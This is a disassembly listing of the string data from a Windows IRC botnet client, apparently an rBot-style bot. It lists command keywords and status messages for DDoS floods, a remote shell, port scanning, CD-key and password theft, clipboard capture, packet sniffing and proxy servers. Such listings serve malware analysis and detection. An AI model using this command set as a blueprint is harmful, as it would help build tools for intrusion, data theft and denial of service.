aDccReceiveFile db '[DCC]: Receive file: ',27h,'%s',27h,' from user: %s.',0
; DATA XREF: sub_40C50A+768o
align 10h
aDccFailedToSta db '[DCC]: Failed to start transfer thread, error: <%d>.',0
; DATA XREF: sub_40C50A+8FAo
align 4
aDccReceiveFi_0 db '[DCC]: Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s'
; DATA XREF: sub_40C50A+924o
db '.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40C50A+941o
align 10h
aS_11 db '%s',0 ; DATA XREF: sub_40C50A+97Eo
align 4
aDccChatFromUse db '[DCC]: Chat from user: %s.',0 ; DATA XREF: sub_40C50A+9D8o
align 10h
aDccFailedToS_0 db '[DCC]: Failed to start chat thread, error: <%d>.',0
; DATA XREF: sub_40C50A+A47o
align 4
aDccChatAlready db '[DCC]: Chat already active with user: %s.',0
; DATA XREF: sub_40C50A+A58o
align 10h
aDccChatFailedB db '[DCC]: Chat failed by unauthorized user: %s.',0
; DATA XREF: sub_40C50A+A69o
align 10h
aHi db 'hi',0 ; DATA XREF: sub_40C50A+A8Co
align 4
aFr db 'Fr',0 ; DATA XREF: sub_40C50A+AA4o
align 4
asc_43F0B8: ; DATA XREF: sub_40C50A+6157o
unicode 0, <!>,0
asc_43F0BC: ; DATA XREF: sub_40C50A+6175o
unicode 0, <~>,0
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40C50A+61A5o
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_40C50A+61B9o
align 4
aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_40C50A+61C8o
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40C50A+6203o
align 4
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_40C50A+6217o
align 10h
aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_40C50A+6226o
align 4
aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_40C50A+6296o
align 4
aMainUserSLog_3 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_40C50A+62B3o
a332_3 db '332',0 ; DATA XREF: sub_40C50A+AC6o
asc_43F1F4 db ' :',0 ; DATA XREF: sub_40C50A:loc_40D028o
align 4
aD db '$%d-',0 ; DATA XREF: sub_40C50A+B7Co
align 10h
aD_0 db '$%d',0 ; DATA XREF: sub_40C50A+C37o
aMe db '$me',0 ; DATA XREF: sub_40C50A+CA5o
aUser_1 db '$user',0 ; DATA XREF: sub_40C50A+CB7o
align 10h
aChan db '$chan',0 ; DATA XREF: sub_40C50A+CC8o
align 4
aRndnick db '$rndnick',0 ; DATA XREF: sub_40C50A+CE4o
align 4
aServer db '$server',0 ; DATA XREF: sub_40C50A+CF5o
aChr db '$chr(',0 ; DATA XREF: sub_40C50A+D00o
align 4
aChr_0 db '$chr(',0 ; DATA XREF: sub_40C50A+D19o
align 4
asc_43F23C: ; DATA XREF: sub_40C50A+D41o
unicode 0, <)>,0
a63 db '63',0 ; DATA XREF: sub_40C50A+D69o
align 4
asc_43F244: ; DATA XREF: sub_40C50A+E35o
unicode 0, < >,0
asc_43F248: ; DATA XREF: sub_40C50A:loc_40D360o
unicode 0, < >,0
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_40C50A+E90o
aRn db 'rn',0 ; DATA XREF: sub_40C50A+EA8o
align 4
aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+6110o
align 4
aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_40C50A+6124o
align 4
aDie db 'die',0 ; DATA XREF: sub_40C50A+EBDo
aD_1: ; DATA XREF: sub_40C50A+ED2o
unicode 0, <d>,0
a332_4 db '332',0 ; DATA XREF: sub_40C50A+60C8o
aLogout db 'logout',0 ; DATA XREF: sub_40C50A+EE7o
align 4
aLo db 'lo',0 ; DATA XREF: sub_40C50A+EFCo
align 4
aMainUserSLog_1 db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+602Do
aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_40C50A+6040o
align 10h
aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_40C50A+6048o
align 4
aMainUserSLog_2 db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+6084o
aVersion db 'version',0 ; DATA XREF: sub_40C50A+F11o
aVer db 'ver',0 ; DATA XREF: sub_40C50A+F26o
aMainS db '[MAIN]: %s',0 ; DATA XREF: sub_40C50A+5FDFo
align 4
aSecure db 'secure',0 ; DATA XREF: sub_40C50A+F3Bo
align 4
aSec db 'sec',0 ; DATA XREF: sub_40C50A+F50o
aUnsecure db 'unsecure',0 ; DATA XREF: sub_40C50A+F65o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_40C50A+F7Ao
align 4
aSecure_2 db 'secure',0 ; DATA XREF: sub_40C50A+5ECEo
align 4
aSec_0 db 'sec',0 ; DATA XREF: sub_40C50A+5EDFo
aSecuring db 'Securing',0 ; DATA XREF: sub_40C50A+5F3Ao
align 4
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40C50A+5F41o
align 10h
aSecureSSystem_ db '[SECURE]: %s system.',0 ; DATA XREF: sub_40C50A+5F47o
align 4
aSecureFailed_0 db '[SECURE]: Failed to start secure thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5FC1o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_40C50A+F8Fo
align 4
aS4 db 's4',0 ; DATA XREF: sub_40C50A+FA4o
align 4
aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_40C50A+5E54o
aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5EC3o
align 4
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_40C50A+FB9o
align 4
aServer_0 db 'Server',0 ; DATA XREF: sub_40C50A+FD2o
align 4
aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: sub_40C50A+FD7o
align 4
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_40C50A+FE2o
align 4
aServer_1 db 'Server',0 ; DATA XREF: sub_40C50A+FFBo
align 4
aRlogind db '[RLOGIND]',0 ; DATA XREF: sub_40C50A+1000o
align 4
aHttpstop db 'httpstop',0 ; DATA XREF: sub_40C50A+100Bo
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_40C50A+1024o
align 4
aHttpd db '[HTTPD]',0 ; DATA XREF: sub_40C50A+1029o
aLogstop db 'logstop',0 ; DATA XREF: sub_40C50A+1034o
aLogList db 'Log list',0 ; DATA XREF: sub_40C50A+104Do
align 4
aLog db '[LOG]',0 ; DATA XREF: sub_40C50A+1052o
align 10h
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_40C50A+105Do
align 10h
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40C50A+1076o
align 10h
aRedirect db '[REDIRECT]',0 ; DATA XREF: sub_40C50A+107Bo
align 4
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_40C50A+1086o
align 4
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40C50A+109Fo
align 4
aDdos db '[DDoS]',0 ; DATA XREF: sub_40C50A+10A4o
align 4
aSynstop db 'synstop',0 ; DATA XREF: sub_40C50A+10AFo
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40C50A+10C8o
align 10h
aSyn db '[SYN]',0 ; DATA XREF: sub_40C50A+10CDo
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_40C50A+10D8o
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40C50A+10F1o
align 4
aUpd db '[UPD]',0 ; DATA XREF: sub_40C50A+10F6o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_40C50A+1101o
align 10h
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40C50A+111Ao
align 4
aPing_0 db '[PING]',0 ; DATA XREF: sub_40C50A+111Fo
align 4
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_40C50A+112Ao
align 10h
aServer_3 db 'Server',0 ; DATA XREF: sub_40C50A+1143o
align 4
aTftp db '[TFTP]',0 ; DATA XREF: sub_40C50A+1148o
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_40C50A+1153o
align 10h
aFfstop db 'ffstop',0 ; DATA XREF: sub_40C50A+1168o
align 4
aFindFile db 'Find file',0 ; DATA XREF: sub_40C50A+5D85o
align 4
aFindfile_0 db '[FINDFILE]',0 ; DATA XREF: sub_40C50A+5D8Ao
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_40C50A+117Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_40C50A+1192o
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_40C50A+5D70o
align 4
aProc db '[PROC]',0 ; DATA XREF: sub_40C50A+5D75o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_40C50A+11A7o
align 4
aClone db 'Clone',0 ; DATA XREF: sub_40C50A+11C0o
align 10h
aClones db '[CLONES]',0 ; DATA XREF: sub_40C50A+11C5o
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_40C50A+11D0o
align 4
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40C50A+11E9o
align 10h
aSecure_1 db '[SECURE]',0 ; DATA XREF: sub_40C50A+11EEo
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_40C50A+11F9o
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40C50A+1212o
align 10h
aScan_0 db '[SCAN]',0 ; DATA XREF: sub_40C50A+1217o
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_40C50A+1222o
align 4
aStats db 'stats',0 ; DATA XREF: sub_40C50A+1237o
align 4
aReconnect db 'reconnect',0 ; DATA XREF: sub_40C50A+124Co
align 4
aR_0: ; DATA XREF: sub_40C50A+1261o
unicode 0, <r>,0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_41223Ao
align 4
aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_40C50A+5D3Do
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_40C50A+1276o
align 4
aDc db 'dc',0 ; DATA XREF: sub_40C50A+128Bo
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_412218o
align 4
aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_40C50A+5D1Bo
align 4
aQuit_1 db 'quit',0 ; DATA XREF: sub_40C50A+12A0o
align 4
aQ: ; DATA XREF: sub_40C50A+12B5o
unicode 0, <q>,0
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+5CE6o
align 4
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40C50A:loc_412202o
align 4
aStatus db 'status',0 ; DATA XREF: sub_40C50A+12CAo
align 4
aS_12: ; DATA XREF: sub_40C50A+12DFo
unicode 0, <s>,0
aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_40C50A+5C9Ao
align 4
aId db 'id',0 ; DATA XREF: sub_40C50A+12F4o
align 4
aI_0: ; DATA XREF: sub_40C50A+1309o
unicode 0, <i>,0
aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_40C50A+5C5Co
aReboot db 'reboot',0 ; DATA XREF: sub_40C50A+131Eo
align 4
aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_40C50A+1335o
align 4
aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_40C50A+133Co
align 4
aThreads db 'threads',0 ; DATA XREF: sub_40C50A+1370o
aT: ; DATA XREF: sub_40C50A+1385o
unicode 0, <t>,0
aSub db 'sub',0 ; DATA XREF: sub_40C50A+5BA0o
aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: sub_40C50A+5BC6o
align 4
aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5C31o
align 10h
aAliases db 'aliases',0 ; DATA XREF: sub_40C50A+139Ao
aAl db 'al',0 ; DATA XREF: sub_40C50A+13AFo
align 4
aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: sub_40C50A+5B51o
aLog_0 db 'log',0 ; DATA XREF: sub_40C50A+13C4o
aLg db 'lg',0 ; DATA XREF: sub_40C50A+13D9o
align 4
aS_36 db '%s',0 ; DATA XREF: sub_40C50A+5A76o
align 4
aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: sub_40C50A+5AA9o
aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5B36o
aClearlog db 'clearlog',0 ; DATA XREF: sub_40C50A+13EEo
align 10h
aClg db 'clg',0 ; DATA XREF: sub_40C50A+1403o
aNetinfo db 'netinfo',0 ; DATA XREF: sub_40C50A+1418o
aNi db 'ni',0 ; DATA XREF: sub_40C50A+142Do
align 10h
aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: sub_40C50A+5A25o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_40C50A+1442o
aSi db 'si',0 ; DATA XREF: sub_40C50A+1457o
align 4
aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: sub_40C50A+59F6o
align 4
aRemov10e db 'remov10e',0 ; DATA XREF: sub_40C50A+146Co
align 4
aRemov10e2 db 'remov10e2',0 ; DATA XREF: sub_40C50A+1481o
align 4
aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_40C50A+59A1o
align 4
aProcs db 'procs',0 ; DATA XREF: sub_40C50A+1496o
align 4
aPs db 'ps',0 ; DATA XREF: sub_40C50A+14ABo
align 4
aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: sub_40C50A+589Do
align 4
aFull db 'full',0 ; DATA XREF: sub_40C50A+58FFo
align 4
aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_40C50A+591Fo
aProcsFailedT_0 db '[PROCS]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: sub_40C50A+598Eo
align 4
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_40C50A+14C0o
align 4
aKey db 'key',0 ; DATA XREF: sub_40C50A+14D5o
aCdkeysSearchCo db '[CDKEYS]: Search completed.',0 ; DATA XREF: sub_40C50A+5871o
aUptime db 'uptime',0 ; DATA XREF: sub_40C50A+14EAo
align 10h
aUp db 'up',0 ; DATA XREF: sub_40C50A+14FFo
align 4
aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_40C50A+5825o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_40C50A+1514o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_40C50A+1529o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_40C50A+153Eo
align 4
aDll db 'dll',0 ; DATA XREF: sub_40C50A+1553o
aOpencmd db 'opencmd',0 ; DATA XREF: sub_40C50A+1568o
aOcmd db 'ocmd',0 ; DATA XREF: sub_40C50A+157Do
align 4
aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_40C50A+5765o
align 10h
aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0
; DATA XREF: sub_40C50A+5781o
align 4
aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_40C50A:loc_411C92o
align 10h
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_40C50A+1592o
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40C50A+15ABo
align 4
aCmd db '[CMD]',0 ; DATA XREF: sub_40C50A+15B0o
align 10h
aWho db 'who',0 ; DATA XREF: sub_40C50A+15BBo
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40C50A+15D4o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40C50A+15F6o
aD_S db '%d. %s',0 ; DATA XREF: sub_40C50A+1603o
align 4
aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_40C50A+1637o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_40C50A+1648o
aGc db 'gc',0 ; DATA XREF: sub_40C50A+165Do
align 10h
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40C50A+5721o
align 4
aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_40C50A+574Fo
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_40C50A+1672o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_40C50A+1687o
align 10h
aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_40C50A+56F6o
align 10h
aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0
; DATA XREF: sub_40C50A:loc_411C1Bo
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_40C50A+169Co
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_40C50A+16B1o
align 4
aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_40C50A+56D8o
align 4
aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0
; DATA XREF: sub_40C50A:loc_411BE9o
align 4
aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
; DATA XREF: sub_40C50A:loc_411BF0o
align 4
aCurrentip db 'currentip',0 ; DATA XREF: sub_40C50A+16C6o
align 4
aCip db 'cip',0 ; DATA XREF: sub_40C50A+16DBo
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_40C50A+16F0o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_40C50A+1705o
align 4
aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
; DATA XREF: sub_40C50A+55EFo
aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_40C50A+565Ao
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_40C50A+171Ao
align 10h
aHttp db 'http',0 ; DATA XREF: sub_40C50A+172Fo
align 4
aHttpdServerL_0 db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
; DATA XREF: sub_40C50A+54B7o
aHttpdFailedT_1 db '[HTTPD]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5526o
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_40C50A+1744o
align 4
aTftp_0 db 'tftp',0 ; DATA XREF: sub_40C50A+1759o
align 4
aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: sub_40C50A+5288o
align 4
aTftpServerSt_0 db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: sub_40C50A+5341o
align 4
aTftpFailedTo_0 db '[TFTP]: Failed to start server thread, error: <%d>.',0
; DATA XREF: sub_40C50A+53B0o
aCrash db 'crash',0 ; DATA XREF: sub_40C50A+176Eo
align 10h
aMainCrashingBo db '[MAIN]: Crashing bot.',0 ; DATA XREF: sub_40C50A+1784o
align 4
aCrash_0 db 'crash',0 ; DATA XREF: sub_40C50A+17BEo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_40C50A+17D4o
align 4
aFp db 'fp',0 ; DATA XREF: sub_40C50A+17E9o
align 10h
aFindpassSearch db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_40C50A+51EFo
aFindpassFail_0 db '[FINDPASS]: Failed to start search thread, error: <%d>.',0
; DATA XREF: sub_40C50A+5272o
aFofofo2 db 'fofofo2',0 ; DATA XREF: sub_40C50A+17FEo
aSfofofo2a db 'sfofofo2a',0 ; DATA XREF: sub_40C50A+1813o
align 10h
aScanAlreadyD_0 db '[SCAN]: Already %d scanning threads. Too many specified.',0
; DATA XREF: sub_40C50A+4F29o
align 4
aScanFailedTo_5 db '[SCAN]: Failed to start scan, port is invalid.',0
; DATA XREF: sub_40C50A:loc_4116D5o
align 4
aRandom_1 db 'Random',0 ; DATA XREF: sub_40C50A+50DAo
align 4
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_40C50A+50E1o
align 10h
aScanSPortSca_0 db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
; DATA XREF: sub_40C50A+510Co
db 'for %d minutes using %d threads.',0
align 4
aScanFailedTo_4 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: sub_40C50A+517Do
align 4
aNick_0 db 'nick',0 ; DATA XREF: sub_40C50A+1839o
align 10h
aN: ; DATA XREF: sub_40C50A+1850o
unicode 0, <n>,0
aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4EC2o
align 10h
aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_40C50A+4ED0o
align 10h
aJoin db 'join',0 ; DATA XREF: sub_40C50A+1867o
align 4
aJ: ; DATA XREF: sub_40C50A+187Eo
unicode 0, <j>,0
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4EA9o
align 4
aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
; DATA XREF: sub_40C50A+4EB7o
align 4
aPart_1 db 'part',0 ; DATA XREF: sub_40C50A+1895o
align 4
aPt db 'pt',0 ; DATA XREF: sub_40C50A+18ACo
align 4
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4E89o
align 4
aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
; DATA XREF: sub_40C50A+4E97o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_40C50A+18C3o
aR_2: ; DATA XREF: sub_40C50A+18DAo
unicode 0, <r>,0
aS_30 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4E70o
align 4
aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_40C50A+4E7Eo
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_40C50A+18F1o
align 4
aK: ; DATA XREF: sub_40C50A+1908o
unicode 0, <k>,0
aAll db 'all',0 ; DATA XREF: sub_40C50A+4D8Fo
aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_40C50A+4DA9o
align 4
aThreadsNoActiv db '[THREADS]: No active threads found.',0
; DATA XREF: sub_40C50A:loc_4112BDo
aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_40C50A+4DF9o
align 4
aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0
; DATA XREF: sub_40C50A:loc_41130Ao
align 10h
aC_quit db 'c_quit',0 ; DATA XREF: sub_40C50A+191Fo
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_40C50A+1936o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4D08o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_40C50A+194Do
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_40C50A+1964o
align 10h
aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_40C50A+4CC6o
aS_29 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4CDBo
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_40C50A+197Bo
align 4
aPr db 'pr',0 ; DATA XREF: sub_40C50A+1992o
align 4
aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
; DATA XREF: sub_40C50A+4C84o
align 10h
aOpen_0 db 'open',0 ; DATA XREF: sub_40C50A+19A9o
align 4
aO: ; DATA XREF: sub_40C50A+19C0o
unicode 0, <o>,0
aOpen_2 db 'open',0 ; DATA XREF: sub_40C50A+4C54o
align 4
aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_40C50A+4C65o
align 10h
aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0
; DATA XREF: sub_40C50A:loc_411179o
aS3rv3rfg db 's3rv3rfg',0 ; DATA XREF: sub_40C50A+19D7o
align 4
aS3rv3rfg2 db 's3rv3rfg2',0 ; DATA XREF: sub_40C50A+19EEo
align 4
aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
; DATA XREF: sub_40C50A+4C3Co
align 4
aDns db 'dns',0 ; DATA XREF: sub_40C50A+1A05o
aDn db 'dn',0 ; DATA XREF: sub_40C50A+1A1Co
align 4
aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_40C50A+4BB6o
align 10h
aDnsLookupSS__0 db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_40C50A+4BE6o
align 4
aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0
; DATA XREF: sub_40C50A:loc_4110F7o
align 10h
aKillproc db 'killproc',0 ; DATA XREF: sub_40C50A+1A33o
align 4
aKp db 'kp',0 ; DATA XREF: sub_40C50A+1A4Ao
align 10h
aProcProcessK_0 db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_40C50A+4B7Eo
align 4
aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0
; DATA XREF: sub_40C50A:loc_411092o
aKill db 'kill',0 ; DATA XREF: sub_40C50A+1A61o
align 4
aKi db 'ki',0 ; DATA XREF: sub_40C50A+1A78o
align 10h
aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_40C50A+4B21o
align 10h
aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0
; DATA XREF: sub_40C50A:loc_411032o
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40C50A+1A8Fo
align 4
aDel db 'del',0 ; DATA XREF: sub_40C50A+1AA6o
aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+4AE0o
align 10h
aFile_2 db '[FILE]:',0 ; DATA XREF: sub_40C50A:loc_410FF1o
aGet_2 db 'get',0 ; DATA XREF: sub_40C50A+1ABDo
aGt db 'gt',0 ; DATA XREF: sub_40C50A+1AD4o
align 10h
aS_35 db '%s',0 ; DATA XREF: sub_40C50A+4A09o
align 4
aDccSendFileSUs db '[DCC]: Send File: %s, User: %s.',0 ; DATA XREF: sub_40C50A+4A5Bo
aDccFailedToS_1 db '[DCC]: Failed to start transfer thread, error: <%d>.',0
; DATA XREF: sub_40C50A+4ACAo
align 4
aList_0 db 'list',0 ; DATA XREF: sub_40C50A+1AEBo
align 4
aLi db 'li',0 ; DATA XREF: sub_40C50A+1B02o
align 4
aFileListS db '[FILE]: List: %s',0 ; DATA XREF: sub_40C50A+49E9o
align 4
aVisit db 'visit',0 ; DATA XREF: sub_40C50A+1B19o
align 4
aV: ; DATA XREF: sub_40C50A+1B30o
unicode 0, <v>,0
aVisitUrlS_ db '[VISIT]: URL: %s.',0 ; DATA XREF: sub_40C50A+495Fo
align 4
aVisitFailedToS db '[VISIT]: Failed to start connection thread, error: <%d>.',0
; DATA XREF: sub_40C50A+49CEo
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_40C50A+1B47o
aMirc db 'mirc',0 ; DATA XREF: sub_40C50A+1B5Eo
align 4
aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: sub_40C50A+48E6o
align 4
aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: sub_40C50A:loc_410DFAo
align 4
aCmd_0 db 'cmd',0 ; DATA XREF: sub_40C50A+1B75o
aCm db 'cm',0 ; DATA XREF: sub_40C50A+1B8Co
align 4
asc_440414: ; DATA XREF: sub_40C50A+4892o
dw 0Ah
unicode 0, <>,0
aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_40C50A+48AAo
align 10h
aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: sub_40C50A+48B5o
aReadfile db 'readfile',0 ; DATA XREF: sub_40C50A+1BA3o
align 10h
aRf db 'rf',0 ; DATA XREF: sub_40C50A+1BBAo
align 4
aR_1: ; DATA XREF: sub_40C50A:loc_410CF9o
unicode 0, <r>,0
aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_40C50A+4856o
align 4
aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_40C50A+486Ao
align 4
aPsniff_0 db 'psniff',0 ; DATA XREF: sub_40C50A+1BD1o
align 10h
aOn db 'on',0 ; DATA XREF: sub_40C50A+1BE6o
align 4
aPsniffAlreadyR db '[PSNIFF]: Already running.',0 ; DATA XREF: sub_40C50A+1C06o
align 10h
aPsniffCarnivor db '[PSNIFF]: Carnivore packet sniffer active.',0
; DATA XREF: sub_40C50A+1C6Ao
align 4
aPsniffFailedTo db '[PSNIFF]: Failed to start sniffer thread, error: <%d>.',0
; DATA XREF: sub_40C50A+1CD9o
align 4
aOff db 'off',0 ; DATA XREF: sub_40C50A+1CE4o
aPsniffCarniv_0 db '[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)',0
; DATA XREF: sub_40C50A+1D07o
align 10h
aPsniffNoCarniv db '[PSNIFF]: No Carnivore thread found.',0
